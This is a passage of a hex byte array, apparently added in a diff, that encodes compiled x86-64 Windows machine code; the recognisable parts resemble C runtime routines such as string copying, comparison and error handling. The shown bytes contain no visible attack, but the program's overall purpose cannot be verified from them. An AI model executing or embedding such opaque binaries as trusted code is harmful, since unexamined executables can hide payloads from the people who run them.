0xc0, 0x75, 0x1b, 0x88, 0x19, 0xe8, 0xfe, 0x0a, + 0x00, 0x00, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xd2, 0x09, + 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x4c, 0x8b, + 0xc9, 0x4c, 0x2b, 0xc1, 0x43, 0x8a, 0x04, 0x08, 0x41, 0x88, 0x01, 0x49, + 0xff, 0xc1, 0x84, 0xc0, 0x74, 0x06, 0x48, 0x83, 0xea, 0x01, 0x75, 0xec, + 0x48, 0x85, 0xd2, 0x75, 0xd9, 0x88, 0x19, 0xe8, 0xc4, 0x0a, 0x00, 0x00, + 0xbb, 0x22, 0x00, 0x00, 0x00, 0xeb, 0xc4, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x17, 0x48, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xb9, 0x16, + 0x00, 0x00, 0x00, 0xe8, 0x58, 0x48, 0x00, 0x00, 0xf6, 0x05, 0x31, 0x6d, + 0x01, 0x00, 0x02, 0x74, 0x2a, 0xb9, 0x17, 0x00, 0x00, 0x00, 0xff, 0x15, + 0xe4, 0xbd, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x07, 0xb9, 0x07, 0x00, 0x00, + 0x00, 0xcd, 0x29, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xba, 0x15, 0x00, + 0x00, 0x40, 0x41, 0x8d, 0x48, 0x02, 0xe8, 0x3d, 0x07, 0x00, 0x00, 0xb9, + 0x03, 0x00, 0x00, 0x00, 0xe8, 0xd7, 0xf5, 0xff, 0xff, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x2b, 0xd1, 0x4d, 0x85, 0xc0, 0x74, 0x6a, 0xf7, 0xc1, 0x07, 0x00, + 0x00, 0x00, 0x74, 0x1d, 0x0f, 0xb6, 0x01, 0x3a, 0x04, 0x0a, 0x75, 0x5d, + 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc8, 0x74, 0x52, 0x84, 0xc0, 0x74, 0x4e, + 0x48, 0xf7, 0xc1, 0x07, 0x00, 0x00, 0x00, 0x75, 0xe3, 0x49, 0xbb, 0x80, + 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x49, 0xba, 0xff, 0xfe, 0xfe, + 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0x8d, 0x04, 0x0a, 0x25, 0xff, 0x0f, 0x00, + 0x00, 0x3d, 0xf8, 0x0f, 0x00, 0x00, 0x77, 0xc0, 0x48, 0x8b, 0x01, 0x48, + 0x3b, 0x04, 0x0a, 0x75, 0xb7, 0x48, 0x83, 0xc1, 0x08, 0x49, 0x83, 0xe8, + 0x08, 0x76, 0x0f, 0x4d, 0x8d, 0x0c, 0x02, 0x48, 0xf7, 0xd0, 0x49, 0x23, + 0xc1, 0x49, 0x85, 0xc3, 0x74, 0xcf, 0x33, 0xc0, 0xc3, 0x48, 0x1b, 0xc0, + 0x48, 0x83, 0xc8, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0xe9, 0x67, 0x2b, 0x00, + 0x00, 0xcc, 0xcc, 0xcc, 0x4d, 0x85, 0xc0, 0x75, 0x18, 0x33, 0xc0, 0xc3, + 0x0f, 0xb7, 0x01, 0x66, 0x85, 0xc0, 0x74, 0x13, 0x66, 0x3b, 0x02, 0x75, + 0x0e, 0x48, 0x83, 0xc1, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x49, 0x83, 0xe8, + 0x01, 0x75, 0xe5, 0x0f, 0xb7, 0x01, 0x0f, 0xb7, 0x0a, 0x2b, 0xc1, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0x0a, 0xe8, + 0x70, 0x2a, 0x00, 0x00, 0x90, 0x48, 0x8b, 0x07, 0x48, 0x8b, 0x08, 0x48, + 0x8b, 0x81, 0x88, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x00, 0x8b, 0x0b, 0xe8, + 0xac, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, + 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, + 0xf8, 0x8b, 0x0a, 0xe8, 0x30, 0x2a, 0x00, 0x00, 0x90, 0x48, 0x8b, 0x0f, + 0x33, 0xd2, 0x48, 0x8b, 0x09, 0xe8, 0xa6, 0x02, 0x00, 0x00, 0x90, 0x8b, + 0x0b, 0xe8, 0x6e, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, + 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0x0a, 0xe8, 0xf0, 0x29, 0x00, 0x00, + 0x90, 0x48, 0x8b, 0x47, 0x08, 0x48, 0x8b, 0x10, 0x48, 0x8b, 0x0f, 0x48, + 0x8b, 0x12, 0x48, 0x8b, 0x09, 0xe8, 0x5e, 0x02, 0x00, 0x00, 0x90, 0x8b, + 0x0b, 0xe8, 0x26, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, + 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0x0a, 0xe8, 0xa8, 0x29, 0x00, 0x00, + 0x90, 0x48, 0x8b, 0x07, 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x89, 0x88, 0x00, + 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x1e, 0x83, 0xc8, 0xff, 0xf0, 0x0f, + 0xc1, 0x01, 0x83, 0xf8, 0x01, 0x75, 0x12, 0x48, 0x8d, 0x05, 0xc2, 0x6d, + 0x01, 0x00, 0x48, 0x3b, 0xc8, 0x74, 0x06, 0xe8, 0xa4, 0x08, 0x00, 0x00, + 0x90, 0x8b, 0x0b, 0xe8, 0xc4, 0x29, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, + 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x8b, + 0xec, 0x48, 0x83, 0xec, 0x50, 0x48, 0x89, 0x4d, 0xd8, 0x48, 0x8d, 0x45, + 0xd8, 0x48, 0x89, 0x45, 0xe8, 0x4c, 0x8d, 0x4d, 0x20, 0xba, 0x01, 0x00, + 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xe8, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, + 0x45, 0x20, 0x89, 0x45, 0x28, 0x48, 0x8d, 0x45, 0xd8, 0x48, 0x89, 0x45, + 0xf0, 0x48, 0x8d, 0x45, 0xe0, 0x48, 0x89, 0x45, 0xf8, 0xb8, 0x04, 0x00, + 0x00, 0x00, 0x89, 0x45, 0xd0, 0x89, 0x45, 0xd4, 0x48, 0x8d, 0x05, 0xbd, + 0x7e, 0x01, 0x00, 0x48, 0x89, 0x45, 0xe0, 0x89, 0x51, 0x28, 0x48, 0x8d, + 0x0d, 0x57, 0xd1, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x89, 0x08, + 0x48, 0x8d, 0x0d, 0x39, 0x6d, 0x01, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x89, + 0x90, 0xa8, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x89, 0x88, + 0x88, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0x42, 0x48, 0x8b, 0x45, 0xd8, 0x48, + 0x8d, 0x55, 0x28, 0x66, 0x89, 0x88, 0xbc, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x45, 0xd8, 0x66, 0x89, 0x88, 0xc2, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, + 0x18, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x83, 0xa0, 0xa0, 0x03, 0x00, 0x00, + 0x00, 0xe8, 0x26, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x4d, 0xd0, 0x4c, 0x8d, + 0x45, 0xf0, 0x48, 0x8d, 0x55, 0xd4, 0x48, 0x8d, 0x4d, 0x18, 0xe8, 0x91, + 0xfe, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x50, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x85, 0xc9, 0x74, 0x1a, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa6, 0x07, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x40, 0x55, 0x48, 0x8b, + 0xec, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8d, 0x45, 0xe8, 0x48, 0x89, 0x4d, + 0xe8, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8d, 0x15, 0xa8, 0xd0, 0x00, 0x00, + 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, 0x45, 0x20, 0x89, 0x45, 0x28, 0x48, + 0x8d, 0x45, 0xe8, 0x48, 0x89, 0x45, 0xf8, 0xb8, 0x04, 0x00, 0x00, 0x00, + 0x89, 0x45, 0xe0, 0x89, 0x45, 0xe4, 0x48, 0x8b, 0x01, 0x48, 0x3b, 0xc2, + 0x74, 0x0c, 0x48, 0x8b, 0xc8, 0xe8, 0x56, 0x07, 0x00, 0x00, 0x48, 0x8b, + 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x70, 0xe8, 0x49, 0x07, 0x00, 0x00, 0x48, + 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x58, 0xe8, 0x3c, 0x07, 0x00, 0x00, + 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x60, 0xe8, 0x2f, 0x07, 0x00, + 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x68, 0xe8, 0x22, 0x07, + 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x48, 0xe8, 0x15, + 0x07, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x50, 0xe8, + 0x08, 0x07, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x78, + 0xe8, 0xfb, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x89, + 0x80, 0x00, 0x00, 0x00, 0xe8, 0xeb, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4d, + 0xe8, 0x48, 0x8b, 0x89, 0xc0, 0x03, 0x00, 0x00, 0xe8, 0xdb, 0x06, 0x00, + 0x00, 0x4c, 0x8d, 0x4d, 0x20, 0x4c, 0x8d, 0x45, 0xf0, 0x48, 0x8d, 0x55, + 0x28, 0x48, 0x8d, 0x4d, 0x18, 0xe8, 0xd6, 0xfd, 0xff, 0xff, 0x4c, 0x8d, + 0x4d, 0xe0, 0x4c, 0x8d, 0x45, 0xf8, 0x48, 0x8d, 0x55, 0xe4, 0x48, 0x8d, + 0x4d, 0x18, 0xe8, 0x39, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x40, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x89, 0x90, + 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x2c, 0xe8, 0x17, 0x4c, 0x00, + 0x00, 0x48, 0x8b, 0x8f, 0x90, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x0d, 0xf5, + 0x7c, 0x01, 0x00, 0x74, 0x17, 0x48, 0x8d, 0x05, 0x14, 0x6a, 0x01, 0x00, + 0x48, 0x3b, 0xc8, 0x74, 0x0b, 0x83, 0x79, 0x10, 0x00, 0x75, 0x05, 0xe8, + 0xf0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x9f, 0x90, 0x00, 0x00, 0x00, 0x48, + 0x85, 0xdb, 0x74, 0x08, 0x48, 0x8b, 0xcb, 0xe8, 0x50, 0x49, 0x00, 0x00, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x0d, 0xb8, 0x68, 0x01, 0x00, + 0x83, 0xf9, 0xff, 0x74, 0x2a, 0xe8, 0xda, 0x22, 0x00, 0x00, 0x48, 0x8b, + 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x1d, 0x8b, 0x0d, 0xa0, 0x68, 0x01, 0x00, + 0x33, 0xd2, 0xe8, 0x0d, 0x23, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x6d, + 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x05, 0x06, 0x00, 0x00, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0xff, + 0x15, 0x6b, 0xb9, 0x00, 0x00, 0x8b, 0x0d, 0x65, 0x68, 0x01, 0x00, 0x8b, + 0xd8, 0x83, 0xf9, 0xff, 0x74, 0x1f, 0xe8, 0x85, 0x22, 0x00, 0x00, 0x48, + 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x83, 0xf8, 0xff, 0x75, + 0x73, 0x33, 0xff, 0x33, 0xf6, 0xeb, 0x70, 0x8b, 0x0d, 0x3f, 0x68, 0x01, + 0x00, 0x48, 0x83, 0xca, 0xff, 0xe8, 0xaa, 0x22, 0x00, 0x00, 0x85, 0xc0, + 0x74, 0xe7, 0xba, 0xc8, 0x03, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, + 0xe8, 0x1f, 0x27, 0x00, 0x00, 0x8b, 0x0d, 0x1d, 0x68, 0x01, 0x00, 0x48, + 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x10, 0x33, 0xd2, 0xe8, 0x82, 0x22, + 0x00, 0x00, 0x33, 0xc9, 0xe8, 0x83, 0x05, 0x00, 0x00, 0xeb, 0xba, 0x48, + 0x8b, 0xd7, 0xe8, 0x71, 0x22, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x12, 0x8b, + 0x0d, 0xf3, 0x67, 0x01, 0x00, 0x33, 0xd2, 0xe8, 0x60, 0x22, 0x00, 0x00, + 0x48, 0x8b, 0xcf, 0xeb, 0xdb, 0x48, 0x8b, 0xcf, 0xe8, 0xcb, 0xfc, 0xff, + 0xff, 0x33, 0xc9, 0xe8, 0x54, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xf7, 0x8b, + 0xcb, 0xff, 0x15, 0xd5, 0xb8, 0x00, 0x00, 0x48, 0xf7, 0xdf, 0x48, 0x1b, + 0xc0, 0x48, 0x23, 0xc6, 0x74, 0x10, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xe8, 0x4d, + 0xfa, 0xff, 0xff, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x0d, + 0xa0, 0x67, 0x01, 0x00, 0x83, 0xf9, 0xff, 0x74, 0x1b, 0xe8, 0xc2, 0x21, + 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x83, + 0xf8, 0xff, 0x74, 0x7d, 0xeb, 0x6d, 0x8b, 0x0d, 0x80, 0x67, 0x01, 0x00, + 0x48, 0x83, 0xca, 0xff, 0xe8, 0xeb, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x68, 0xba, 0xc8, 0x03, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, + 0x60, 0x26, 0x00, 0x00, 0x8b, 0x0d, 0x5e, 0x67, 0x01, 0x00, 0x48, 0x8b, + 0xd8, 0x48, 0x85, 0xc0, 0x75, 0x10, 0x33, 0xd2, 0xe8, 0xc3, 0x21, 0x00, + 0x00, 0x33, 0xc9, 0xe8, 0xc4, 0x04, 0x00, 0x00, 0xeb, 0x3b, 0x48, 0x8b, + 0xd3, 0xe8, 0xb2, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x12, 0x8b, 0x0d, + 0x34, 0x67, 0x01, 0x00, 0x33, 0xd2, 0xe8, 0xa1, 0x21, 0x00, 0x00, 0x48, + 0x8b, 0xcb, 0xeb, 0xdb, 0x48, 0x8b, 0xcb, 0xe8, 0x0c, 0xfc, 0xff, 0xff, + 0x33, 0xc9, 0xe8, 0x95, 0x04, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x74, 0x09, + 0x48, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xe8, 0xa6, 0xf9, + 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, 0xef, 0xb7, 0x00, + 0x00, 0x8b, 0x0d, 0xe9, 0x66, 0x01, 0x00, 0x8b, 0xd8, 0x83, 0xf9, 0xff, + 0x74, 0x1f, 0xe8, 0x09, 0x21, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, + 0xc0, 0x74, 0x0c, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x73, 0x33, 0xff, 0x33, + 0xf6, 0xeb, 0x70, 0x8b, 0x0d, 0xc3, 0x66, 0x01, 0x00, 0x48, 0x83, 0xca, + 0xff, 0xe8, 0x2e, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x74, 0xe7, 0xba, 0xc8, + 0x03, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xa3, 0x25, 0x00, + 0x00, 0x8b, 0x0d, 0xa1, 0x66, 0x01, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, + 0xc0, 0x75, 0x10, 0x33, 0xd2, 0xe8, 0x06, 0x21, 0x00, 0x00, 0x33, 0xc9, + 0xe8, 0x07, 0x04, 0x00, 0x00, 0xeb, 0xba, 0x48, 0x8b, 0xd7, 0xe8, 0xf5, + 0x20, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x12, 0x8b, 0x0d, 0x77, 0x66, 0x01, + 0x00, 0x33, 0xd2, 0xe8, 0xe4, 0x20, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xeb, + 0xdb, 0x48, 0x8b, 0xcf, 0xe8, 0x4f, 0xfb, 0xff, 0xff, 0x33, 0xc9, 0xe8, + 0xd8, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf7, 0x8b, 0xcb, 0xff, 0x15, 0x59, + 0xb7, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0xf7, 0xdf, 0x48, + 0x1b, 0xc0, 0x48, 0x23, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, 0x0d, 0xe9, + 0xfb, 0xff, 0xff, 0xe8, 0xc4, 0x1f, 0x00, 0x00, 0x89, 0x05, 0x22, 0x66, + 0x01, 0x00, 0x83, 0xf8, 0xff, 0x75, 0x04, 0x32, 0xc0, 0xeb, 0x15, 0xe8, + 0x10, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x09, 0x33, 0xc9, 0xe8, + 0x0c, 0x00, 0x00, 0x00, 0xeb, 0xe9, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x8b, 0x0d, 0xf2, 0x65, + 0x01, 0x00, 0x83, 0xf9, 0xff, 0x74, 0x0c, 0xe8, 0xcc, 0x1f, 0x00, 0x00, + 0x83, 0x0d, 0xe1, 0x65, 0x01, 0x00, 0xff, 0xb0, 0x01, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, + 0x24, 0x18, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d, 0xac, 0x24, 0x10, 0xfb, + 0xff, 0xff, 0x48, 0x81, 0xec, 0xf0, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x05, + 0x6c, 0x65, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, 0xe0, 0x04, + 0x00, 0x00, 0x41, 0x8b, 0xf8, 0x8b, 0xf2, 0x8b, 0xd9, 0x83, 0xf9, 0xff, + 0x74, 0x05, 0xe8, 0x05, 0xb9, 0xff, 0xff, 0x33, 0xd2, 0x48, 0x8d, 0x4c, + 0x24, 0x70, 0x41, 0xb8, 0x98, 0x00, 0x00, 0x00, 0xe8, 0xe7, 0xbf, 0xff, + 0xff, 0x33, 0xd2, 0x48, 0x8d, 0x4d, 0x10, 0x41, 0xb8, 0xd0, 0x04, 0x00, + 0x00, 0xe8, 0xd6, 0xbf, 0xff, 0xff, 0x48, 0x8d, 0x44, 0x24, 0x70, 0x48, + 0x89, 0x44, 0x24, 0x48, 0x48, 0x8d, 0x4d, 0x10, 0x48, 0x8d, 0x45, 0x10, + 0x48, 0x89, 0x44, 0x24, 0x50, 0xff, 0x15, 0xd1, 0xb5, 0x00, 0x00, 0x4c, + 0x8b, 0xb5, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x49, + 0x8b, 0xce, 0x45, 0x33, 0xc0, 0xff, 0x15, 0xc1, 0xb5, 0x00, 0x00, 0x48, + 0x85, 0xc0, 0x74, 0x36, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, + 0x4c, 0x24, 0x58, 0x48, 0x8b, 0x54, 0x24, 0x40, 0x4c, 0x8b, 0xc8, 0x48, + 0x89, 0x4c, 0x24, 0x30, 0x4d, 0x8b, 0xc6, 0x48, 0x8d, 0x4c, 0x24, 0x60, + 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x8d, 0x4d, 0x10, 0x48, 0x89, 0x4c, + 0x24, 0x20, 0x33, 0xc9, 0xff, 0x15, 0x8e, 0xb5, 0x00, 0x00, 0x48, 0x8b, + 0x85, 0x08, 0x05, 0x00, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, + 0x48, 0x8d, 0x85, 0x08, 0x05, 0x00, 0x00, 0x48, 0x83, 0xc0, 0x08, 0x89, + 0x74, 0x24, 0x70, 0x48, 0x89, 0x85, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x85, 0x08, 0x05, 0x00, 0x00, 0x48, 0x89, 0x45, 0x80, 0x89, 0x7c, 0x24, + 0x74, 0xff, 0x15, 0xa5, 0xb5, 0x00, 0x00, 0x33, 0xc9, 0x8b, 0xf8, 0xff, + 0x15, 0x5b, 0xb5, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0xff, 0x15, + 0x48, 0xb5, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x10, 0x85, 0xff, 0x75, 0x0c, + 0x83, 0xfb, 0xff, 0x74, 0x07, 0x8b, 0xcb, 0xe8, 0x10, 0xb8, 0xff, 0xff, + 0x48, 0x8b, 0x8d, 0xe0, 0x04, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xc5, + 0xad, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xf0, 0x05, 0x00, 0x00, 0x49, + 0x8b, 0x5b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, + 0x5f, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x0d, 0x2d, 0x78, 0x01, 0x00, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, 0x41, 0x8b, 0xd9, 0x49, + 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48, 0x8b, 0xe9, 0xe8, 0x4b, 0xfd, 0xff, + 0xff, 0x48, 0x85, 0xc0, 0x74, 0x3d, 0x48, 0x8b, 0x80, 0xb8, 0x03, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x74, 0x31, 0x48, 0x8b, 0x54, 0x24, 0x60, 0x44, + 0x8b, 0xcb, 0x48, 0x89, 0x54, 0x24, 0x20, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, + 0xd6, 0x48, 0x8b, 0xcd, 0xff, 0x15, 0xda, 0xb6, 0x00, 0x00, 0x48, 0x8b, + 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, + 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0x4c, 0x8b, 0x15, 0xbe, 0x63, + 0x01, 0x00, 0x44, 0x8b, 0xcb, 0x41, 0x8b, 0xca, 0x4c, 0x8b, 0xc7, 0x4c, + 0x33, 0x15, 0xae, 0x77, 0x01, 0x00, 0x83, 0xe1, 0x3f, 0x49, 0xd3, 0xca, + 0x48, 0x8b, 0xd6, 0x4d, 0x85, 0xd2, 0x74, 0x0f, 0x48, 0x8b, 0x4c, 0x24, + 0x60, 0x49, 0x8b, 0xc2, 0x48, 0x89, 0x4c, 0x24, 0x20, 0xeb, 0xae, 0x48, + 0x8b, 0x44, 0x24, 0x60, 0x48, 0x8b, 0xcd, 0x48, 0x89, 0x44, 0x24, 0x20, + 0xe8, 0x23, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, + 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, + 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x37, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, + 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xb9, 0x17, 0x00, 0x00, + 0x00, 0xff, 0x15, 0x45, 0xb4, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x07, 0xb9, + 0x05, 0x00, 0x00, 0x00, 0xcd, 0x29, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0xba, 0x17, 0x04, 0x00, 0xc0, 0x41, 0x8d, 0x48, 0x01, 0xe8, 0x9e, 0xfd, + 0xff, 0xff, 0xff, 0x15, 0x10, 0xb4, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xba, + 0x17, 0x04, 0x00, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0x48, 0xff, 0x25, 0x05, + 0xb4, 0x00, 0x00, 0xcc, 0x33, 0xc0, 0x4c, 0x8d, 0x0d, 0xf3, 0xcb, 0x00, + 0x00, 0x49, 0x8b, 0xd1, 0x44, 0x8d, 0x40, 0x08, 0x3b, 0x0a, 0x74, 0x2b, + 0xff, 0xc0, 0x49, 0x03, 0xd0, 0x83, 0xf8, 0x2d, 0x72, 0xf2, 0x8d, 0x41, + 0xed, 0x83, 0xf8, 0x11, 0x77, 0x06, 0xb8, 0x0d, 0x00, 0x00, 0x00, 0xc3, + 0x81, 0xc1, 0x44, 0xff, 0xff, 0xff, 0xb8, 0x16, 0x00, 0x00, 0x00, 0x83, + 0xf9, 0x0e, 0x41, 0x0f, 0x46, 0xc0, 0xc3, 0x41, 0x8b, 0x44, 0xc1, 0x04, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x8b, 0xf9, 0xe8, 0xff, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, + 0x75, 0x09, 0x48, 0x8d, 0x05, 0xff, 0x62, 0x01, 0x00, 0xeb, 0x04, 0x48, + 